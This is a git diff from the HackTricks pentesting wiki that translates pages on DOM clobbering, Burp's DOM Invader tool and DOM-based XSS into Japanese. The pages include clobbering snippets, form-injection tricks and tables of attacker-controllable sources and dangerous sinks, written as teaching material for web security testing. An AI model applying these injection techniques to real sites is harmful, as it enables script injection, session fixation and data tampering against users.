```html

@@ -175,9 +154,7 @@ alert(document.getElementById('cdnDomain').innerText);//clobbbered alert(document.querySelector('.x').innerText);//clobbbered ``` - -What's also interesting is that you can **hide elements from `innerText`**, so if you inject a HTML/body tag you can use styles to hide it from `innerText` to prevent other text from interfering with your attack: - +興味深いことに、`innerText`から要素を**非表示にする**こともできます。したがって、HTML/bodyタグを注入すると、スタイルを使用して`innerText`から非表示にすることで、他のテキストが攻撃に干渉するのを防ぐことができます。 ```html

existing text

@@ -189,9 +166,7 @@ p{display:none;} alert(document.getElementById('cdnDomain').innerText);//clobbbered ``` - -We looked at SVG too and it's possible to use the `` tag there: - +私たちはSVGも見てみましたが、そこでは``タグを使用することが可能です: ```html clobbered @@ -199,9 +174,7 @@ We looked at SVG too and it's possible to use the `` tag there: alert(document.getElementById('cdnDomain').innerText)//clobbered ``` - -You need a `` tag in order to use the HTML tag inside SVG on both Chrome and Firefox: - +ChromeとFirefoxの両方で、SVG内でHTMLタグを使用するためには``タグが必要です。 ```html @@ -213,10 +186,9 @@ You need a `` tag in order to use the HTML tag inside SVG on both alert(document.getElementById('cdnDomain').innerText)//clobbered ``` +## フォームの上書き -## Clobbering Forms - -It's possible to add **new entries inside a form** just by **specifying the `form` attribute** inside some tags. You can use this to **add new values inside a form** and to even add a new **button** to **send it** (clickjacking or abusing some `.click()` JS code): +いくつかのタグ内に`form`属性を指定することで、**フォーム内に新しいエントリを追加**することができます。これを利用して、**フォーム内に新しい値を追加**したり、新しい**ボタン**を追加して**送信**することもできます(クリックジャッキングまたは`.click()`のJSコードの乱用)。 {% code overflow="wrap" %} ```html @@ -230,9 +202,9 @@ Click to send! ``` {% endcode %} -* For more form attributes in [**button check this**](https://www.w3schools.com/tags/tag\_button.asp)**.** +* [**ここをチェックしてください**](https://www.w3schools.com/tags/tag\_button.asp)**で、さらにフォーム属性を確認してください。** -## References +## 参考文献 * [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) * Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker. @@ -241,10 +213,10 @@ Click to send! ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/pentesting-web/xss-cross-site-scripting/dom-invader.md b/pentesting-web/xss-cross-site-scripting/dom-invader.md index 62d377de1..17ef8f016 100644 --- a/pentesting-web/xss-cross-site-scripting/dom-invader.md +++ b/pentesting-web/xss-cross-site-scripting/dom-invader.md @@ -4,92 +4,90 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** ## DOM Invader -DOM Invader is a browser tool installed in Burp's inbuilt browser. It assists in **detecting DOM XSS vulnerabilities** using various sources and sinks, including web messages and prototype pollution. The tool is preinstalled as an extension. +DOM Invaderは、Burpの組み込みブラウザにインストールされたブラウザツールです。Webメッセージやプロトタイプ汚染を含むさまざまなソースとシンクを使用して、**DOM XSSの脆弱性を検出**するのに役立ちます。このツールは拡張機能として事前にインストールされています。 -DOM Invader integrates a tab within the browser's DevTools panel enabling the following: +DOM Invaderは、ブラウザのDevToolsパネル内にタブを統合し、次の機能を提供します。 -1. **Identification of controllable sinks** on a webpage for DOM XSS testing, providing context and sanitization details. -2. **Logging, editing, and resending web messages** sent via the `postMessage()` method for DOM XSS testing. DOM Invader can also auto-detect vulnerabilities using specially crafted web messages. -3. Detection of **client-side prototype pollution** sources and scanning of controllable gadgets sent to risky sinks. -4. Identification of **DOM clobbering vulnerabilities**. +1. DOM XSSテストのためのウェブページ上の**制御可能なシンクの特定**。コンテキストとサニタイズの詳細も提供します。 +2. `postMessage()`メソッドを介して送信されたウェブメッセージの**ログ記録、編集、再送信**。DOM Invaderは、特別に作成されたウェブメッセージを使用して脆弱性を自動的に検出することもできます。 +3. **クライアントサイドのプロトタイプ汚染**ソースの検出と、リスクのあるシンクに送信される制御可能なガジェットのスキャン。 +4. **DOM clobberingの脆弱性の特定**。 -### Enable It +### 有効化する -In the Burp's builtin browser go to the **Burp extension** and enable it: +Burpの組み込みブラウザで**Burp拡張機能**に移動し、有効にします:
-Noe refresh the page and in the **Dev Tools** you will find the **DOM Invader tab:** +次に、ページを更新し、**Dev Tools**で**DOM Invaderタブ**が表示されます:
-### Inject a Canary +### カナリアを注入する -In the previous image you can see a **random group of chars, that is the Canary**. You should now start **injecting** it in different parts of the web (params, forms, url...) and each time click search it. DOM Invader will check if the **canary ended in any interesting sink** that could be exploited. +前の画像で、**ランダムな文字のグループ(カナリア)**が表示されます。これをウェブのさまざまな部分(パラメータ、フォーム、URLなど)に**注入**し、毎回検索をクリックします。DOM Invaderは、悪用できる可能性のある**興味深いシンク**にカナリアが到達したかどうかをチェックします。 -Moreover, the options **Inject URL params** and Inject forms will automatically open a **new tab** **injecting** the **canary** in every **URL** param and **form** it finds. +さらに、**URLパラメータを注入**および**フォームを注入**のオプションは、見つかった**すべてのURLパラメータ**と**フォーム**にカナリアを自動的に注入する**新しいタブ**を開きます。 -### Inject an empty Canary +### 空のカナリアを注入する -If you just want to find potential sinks the page might have, even if they aren't exploitable, you can **search for an empty canary**. +潜在的なシンクを見つけるだけでよい場合は、実行可能でなくても、**空のカナリアを検索**できます。 -### Post Messages +### メッセージの送信 -DOM Invader allows testing for DOM XSS using web messages with features such as: +DOM Invaderを使用して、ウェブメッセージを使用したDOM XSSをテストすることができます。次の機能があります。 -1. **Logging web messages** sent via `postMessage()`, akin to Burp Proxy's HTTP request/response history logging. -2. **Modification** and **reissue** of web messages to manually test for DOM XSS, similar to Burp Repeater's function. -3. **Automatic alteration** and sending of web messages for probing DOM XSS. +1. `postMessage()`を介して送信されたウェブメッセージの**ログ記録**。これは、Burp ProxyのHTTPリクエスト/レスポンス履歴のログ記録に似ています。 +2. DOM XSSを手動でテストするためのウェブメッセージの**編集**と**再発行**。これは、Burp Repeaterの機能に似ています。 +3. DOM XSSを探索するためのウェブメッセージの**自動変更**と送信。 -#### Message details +#### メッセージの詳細 -You can click each message to view more detailed information about it, including whether the `origin`, `data`, or `source` properties of the message are accessed by the client-side JavaScript. +各メッセージをクリックすると、クライアントサイドのJavaScriptによって`origin`、`data`、または`source`プロパティがアクセスされているかどうかを含む、詳細な情報が表示されます。 -* **`origin`** : If the **origin information of the message is not check**, you may be able to send cross-origin messages to the event handler **from an arbitrary external domain**. But if it's checked it still could be insecure. -* **`data`**: This is where the payload is sent. If this data is not used, the sink is useless. -* **`source`**: Evaluates if the source property, usually referencing an iframe, is validated instead of the origin. Even if this is checked, it doesn't assure the validation can't be bypassed. +* **`origin`**:メッセージの**オリジン情報がチェックされていない**場合、任意の外部ドメインからイベントハンドラにクロスオリジンメッセージを送信できる場合があります。ただし、チェックされていても安全ではない可能性があります。 +* **`data`**:ここにペイロードが送信されます。このデータが使用されない場合、シンクは無効です。 +* **`source`**:通常はiframeを参照するソースプロパティが、オリジンではなく検証されているかどうかを評価します。これがチェックされていても、検証がバイパスされないことを保証するものではありません。 -#### Reply a message +#### メッセージの返信 -1. From the **Messages** view, click on any message to open the message details dialog. -2. Edit the **Data** field as required. -3. Click **Send**. +1. **メッセージ**ビューから、メッセージの詳細ダイアログを開くために任意のメッセージをクリックします。 +2. 必要に応じて**データ**フィールドを編集します。 +3. **送信**をクリックします。 -### Prototype Pollution +### プロトタイプ汚染 -DOM Invader can also search for **Prototype Pollution vulnerabilities**. First, you need to enable it: +DOM Invaderは、**プロトタイプ汚染の脆弱性**を検索することもできます。まず、有効にする必要があります:
-Then, it will **search for sources** that enable you to add arbitrary properties to the **`Object.prototype`**. - -If anything is found a **Test** button will appear to **test the found source**. Click on it, a new tab will appear, create an object in the console and check if the `testproperty` exists: +次に、**`Object.prototype`**に任意のプロパティを追加できるソースを**検索**します。 +何かが見つかると、**テスト**ボタンが表示され、**見つかったソースをテスト**するためのボタンが表示されます。それをクリックすると、新しいタブが表示され、コンソールでオブジェクトを作成し、`testproperty`が存在するかどうかを確認します。 ```javascript let b = {} b.testproperty ``` +一度ソースを見つけたら、**ガジェットをスキャン**することができます: -Once you found a source you can **scan for a gadget**: - -1. From the **DOM** view, click the **Scan for gadgets** button next to any prototype pollution source that DOM Invader has found. DOM Invader opens a new tab and starts scanning for suitable gadgets. -2. In the same tab, open the **DOM Invader** tab in the DevTools panel. Once the scan is finished, the **DOM** view displays any sinks that DOM Invader was able to access via the identified gadgets. In the example below, a gadget property called `html` was passed to the `innerHTML` sink. +1. **DOM**ビューから、DOM Invaderが見つけたプロトタイプ汚染ソースの横にある**ガジェットをスキャン**ボタンをクリックします。DOM Invaderは新しいタブを開き、適切なガジェットをスキャンし始めます。 +2. 同じタブで、DevToolsパネルの**DOM Invader**タブを開きます。スキャンが終了すると、**DOM**ビューには、特定のガジェットを介してアクセスできるシンクが表示されます。以下の例では、`innerHTML`シンクに`html`というガジェットプロパティが渡されました。 ## DOM clobbering -In the previous image it's possible to see that DOM clobbering scan can be turned on. Once done, **DOM Invader will start searching for DOM clobbering vulnerabilities**. +前の画像では、DOM clobberingスキャンをオンにすることができます。これを行うと、**DOM InvaderはDOM clobberingの脆弱性を検索し始めます**。 -## References +## 参考文献 * [https://portswigger.net/burp/documentation/desktop/tools/dom-invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader) * [https://portswigger.net/burp/documentation/desktop/tools/dom-invader/enabling](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/enabling) @@ -102,10 +100,10 @@ In the previous image it's possible to see that DOM clobbering scan can be turne ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** diff --git a/pentesting-web/xss-cross-site-scripting/dom-xss.md b/pentesting-web/xss-cross-site-scripting/dom-xss.md index 8aa82100c..73c81cfd4 100644 --- a/pentesting-web/xss-cross-site-scripting/dom-xss.md +++ b/pentesting-web/xss-cross-site-scripting/dom-xss.md @@ -4,32 +4,31 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## **DOM vulnerabilities** +## **DOMの脆弱性** -> **Sources** +> **ソース** > -> A source is a JavaScript property that accepts data that is potentially attacker-controlled. An example of a source is the `location.search` property because it reads input from the query string, which is relatively simple for an attacker to control. Ultimately, any property that can be controlled by the attacker is a potential source. This includes the referring URL (exposed by the `document.referrer` string), the user's cookies (exposed by the `document.cookie` string), and web messages. +> ソースは、潜在的に攻撃者が制御可能なデータを受け入れるJavaScriptプロパティです。ソースの例としては、`location.search`プロパティがあります。これは、攻撃者が比較的簡単に制御できるクエリ文字列からの入力を読み取ります。基本的に、攻撃者が制御できるプロパティはすべて潜在的なソースです。これには、参照URL(`document.referrer`文字列によって公開される)、ユーザーのクッキー(`document.cookie`文字列によって公開される)、およびWebメッセージが含まれます。 -> **Sinks** +> **シンク** > -> A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it. For example, the `eval()` function is a sink because it processes the argument that is passed to it as JavaScript. An example of an HTML sink is `document.body.innerHTML` because it potentially allows an attacker to inject malicious HTML and execute arbitrary JavaScript. +> シンクは、攻撃者が制御可能なデータが渡されると、望ましくない効果を引き起こす可能性のあるJavaScript関数またはDOMオブジェクトです。たとえば、`eval()`関数はシンクです。なぜなら、それに渡される引数をJavaScriptとして処理するからです。HTMLのシンクの例としては、`document.body.innerHTML`があります。これは、攻撃者が悪意のあるHTMLを注入し、任意のJavaScriptを実行する可能性があります。 -Fundamentally, DOM-based vulnerabilities arise when a website **passes data from a source to a sink**, which then handles the data in an unsafe way in the context of the client's session. +基本的に、DOMベースの脆弱性は、ウェブサイトがデータを**ソースからシンクに渡し**、それがクライアントのセッションの文脈で安全でない方法でデータを処理するときに発生します。 {% hint style="info" %} -**You can find a more updated list of sources and sinks in** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) +**ソースとシンクのより最新のリストは、** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki) **で見つけることができます。** {% endhint %} -**Common sources:** - +**一般的なソース:** ```javascript document.URL document.documentURI @@ -46,10 +45,9 @@ sessionStorage IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB) Database ``` +**一般的な脆弱性:** -**Common Sinks:** - -| [**Open Redirect**](dom-xss.md#open-redirect) | [**Javascript Injection**](dom-xss.md#javascript-injection) | [**DOM-data manipulation**](dom-xss.md#dom-data-manipulation) | **jQuery** | +| [**オープンリダイレクト**](dom-xss.md#open-redirect) | [**Javascriptインジェクション**](dom-xss.md#javascript-injection) | [**DOMデータ操作**](dom-xss.md#dom-data-manipulation) | **jQuery** | | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- | | `location` | `eval()` | `scriptElement.src` | `add()` | | `location.host` | `Function() constructor` | `scriptElement.text` | `after()` | @@ -61,48 +59,47 @@ Database | `location.assign()` | `msSetImmediate()` | `someDOMElement.textContent` | `html()` | | `location.replace()` | `range.createContextualFragment()` | `someDOMElement.innerText` | `prepend()` | | `open()` | `crypto.generateCRMFRequest()` | `someDOMElement.outerText` | `replaceAll()` | -| `domElem.srcdoc` | **\`\`**[**Local file-path manipulation**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` | +| `domElem.srcdoc` | **\`\`**[**ローカルファイルパス操作**](dom-xss.md#local-file-path-manipulation) | `someDOMElement.value` | `replaceWith()` | | `XMLHttpRequest.open()` | `FileReader.readAsArrayBuffer()` | `someDOMElement.name` | `wrap()` | | `XMLHttpRequest.send()` | `FileReader.readAsBinaryString()` | `someDOMElement.target` | `wrapInner()` | | `jQuery.ajax()` | `FileReader.readAsDataURL()` | `someDOMElement.method` | `wrapAll()` | | `$.ajax()` | `FileReader.readAsText()` | `someDOMElement.type` | `has()` | -| **\`\`**[**Ajax request manipulation**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` | +| **\`\`**[**Ajaxリクエスト操作**](dom-xss.md#ajax-request-manipulation) | `FileReader.readAsFile()` | `someDOMElement.backgroundImage` | `constructor()` | | `XMLHttpRequest.setRequestHeader()` | `FileReader.root.getFile()` | `someDOMElement.cssText` | `init()` | | `XMLHttpRequest.open()` | `FileReader.root.getFile()` | `someDOMElement.codebase` | `index()` | -| `XMLHttpRequest.send()` | [**Link manipulation**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | +| `XMLHttpRequest.send()` | [**リンク操作**](dom-xss.md#link-manipulation) | `someDOMElement.innerHTML` | `jQuery.parseHTML()` | | `jQuery.globalEval()` | `someDOMElement.href` | `someDOMElement.outerHTML` | `$.parseHTML()` | -| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**Client-side JSON injection**](dom-xss.md#client-side-sql-injection) | -| **\`\`**[**HTML5-storage manipulation**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | -| `sessionStorage.setItem()` | [**XPath injection**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` | +| `$.globalEval()` | `someDOMElement.src` | `someDOMElement.insertAdjacentHTML` | [**クライアントサイドJSONインジェクション**](dom-xss.md#client-side-sql-injection) | +| **\`\`**[**HTML5ストレージ操作**](dom-xss.md#html-5-storage-manipulation) | `someDOMElement.action` | `someDOMElement.onevent` | `JSON.parse()` | +| `sessionStorage.setItem()` | [**XPathインジェクション**](dom-xss.md#xpath-injection) | `document.write()` | `jQuery.parseJSON()` | | `localStorage.setItem()` | `document.evaluate()` | `document.writeln()` | `$.parseJSON()` | -| **``**[**`Denial of Service`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**Cookie manipulation**](dom-xss.md#cookie-manipulation) | -| `requestFileSystem()` | **\`\`**[**Document-domain manipulation**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | -| `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URL poisoning**](dom-xss.md#websocket-url-poisoning) | -| [**Client-Side SQl injection**](dom-xss.md#client-side-sql-injection) | [**Web-message manipulation**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | +| **``**[**`サービス拒否攻撃`**](dom-xss.md#denial-of-service)**``** | `someDOMElement.evaluate()` | `document.title` | **\`\`**[**クッキー操作**](dom-xss.md#cookie-manipulation) | +| `requestFileSystem()` | **\`\`**[**ドキュメントドメイン操作**](dom-xss.md#document-domain-manipulation) | `document.implementation.createHTMLDocument()` | `document.cookie` | +| `RegExp()` | `document.domain` | `history.pushState()` | [**WebSocket-URL汚染**](dom-xss.md#websocket-url-poisoning) | +| [**クライアントサイドSQLインジェクション**](dom-xss.md#client-side-sql-injection) | [**Webメッセージ操作**](dom-xss.md#web-message-manipulation) | `history.replaceState()` | `WebSocket` | | `executeSql()` | `postMessage()` | \`\` | \`\` | -The **`innerHTML`** sink doesn't accept `script` elements on any modern browser, nor will `svg onload` events fire. This means you will need to use alternative elements like `img` or `iframe`. +**`innerHTML`** シンクは、現代のブラウザでは `script` 要素を受け入れず、`svg onload` イベントも発生しません。これは、`img` や `iframe` のような代替要素を使用する必要があることを意味します。 -This kind of XSS is probably the **hardest to find**, as you need to look inside the JS code, see if it's **using** any object whose **value you control**, and in that case, see if there is **any way to abuse** it to execute arbitrary JS. +この種のXSSは、おそらく**最も見つけにくい**ものです。JSコードを内部で調べ、**制御可能な値**を使用しているかどうかを確認し、その場合には**任意のJSを実行する**方法があるかどうかを確認する必要があります。 -## Tools to find them +## これらを見つけるためのツール * [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized) -## Examples +## 例 -### Open Redirect +### オープンリダイレクト From: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection) -#### How +#### 方法 -DOM-based open-redirection vulnerabilities arise when a script writes **attacker-controllable data** into a **sink** that can trigger **cross-domain navigation**. +DOMベースのオープンリダイレクトの脆弱性は、スクリプトが**攻撃者が制御可能なデータ**を**クロスドメインのナビゲーション**をトリガーする**シンク**に書き込む場合に発生します。 -Remember that **if you can start the URL** were the victim is going to be **redirected**, you could execute **arbitrary code** like: **`javascript:alert(1)`** - -#### Sinks +**被害者がリダイレクトされるURLを開始**できる場合、**`javascript:alert(1)`**のような**任意のコード**を実行できます。 +#### シンク ``` location location.host @@ -120,32 +117,28 @@ XMLHttpRequest.send() jQuery.ajax() $.ajax() ``` - -### Cookie manipulation +### Cookie manipulation(Cookieの操作) From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation) -#### How +#### 方法 -DOM-based cookie-manipulation vulnerabilities arise when a script writes **attacker-controllable data into the value of a cookie**.\ -This could be abuse to make the page behaves on unexpected manner (if the cookie is used in the web) or to perform a [session fixation](../hacking-with-cookies/#session-fixation) attack (if the cookie is used to track the user's session). - -#### Sinks +DOMベースのCookie操作の脆弱性は、スクリプトが**攻撃者が制御可能なデータをCookieの値に書き込む**ときに発生します。\ +これは、ページが予期しない方法で動作するようにするために悪用されることがあります(CookieがWebで使用される場合)または[セッション固定](../hacking-with-cookies/#session-fixation)攻撃を実行するために使用されることがあります(Cookieがユーザーのセッションを追跡するために使用される場合)。 +#### シンクス ``` document.cookie ``` - -### JavaScript Injection +### JavaScriptのインジェクション From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection) -#### How +#### 方法 -DOM-based JavaScript-injection vulnerabilities arise when a script executes **attacker-controllable data as JavaScript**. - -#### Sinks +DOMベースのJavaScriptインジェクションの脆弱性は、スクリプトが**攻撃者が制御可能なデータをJavaScriptとして実行する**ときに発生します。 +#### シンクス ``` eval() Function() constructor @@ -158,62 +151,56 @@ msSetImmediate() range.createContextualFragment() crypto.generateCRMFRequest() ``` +### ドキュメントドメインの操作 -### Document-domain manipulation +元記事: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) -From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation) +#### 方法 -#### How +ドキュメントドメインの操作の脆弱性は、スクリプトが**攻撃者が制御可能なデータを使用して** **`document.domain`** プロパティを設定する場合に発生します。 -Document-domain manipulation vulnerabilities arise when a script uses **attacker-controllable data to set** the **`document.domain`** property. - -The `document.domain` property is used by browsers in their **enforcement** of the **same origin policy**. If **two pages** from **different** origins explicitly set the **same `document.domain`** value, then those two pages can **interact in unrestricted ways**.\ -Browsers **generally enforce some restrictions** on the values that can be assigned to `document.domain`, and may prevent the use of completely different values than the actual origin of the page. **But this doesn't occur always** and they usually **allow to use child** or **parent** domains. - -#### Sinks +`document.domain` プロパティは、ブラウザが**同一オリジンポリシー**の**強制**に使用します。もし**異なるオリジン**の**2つのページ**が明示的に**同じ `document.domain`** の値を設定した場合、それらの2つのページは**制限なく相互作用**することができます。\ 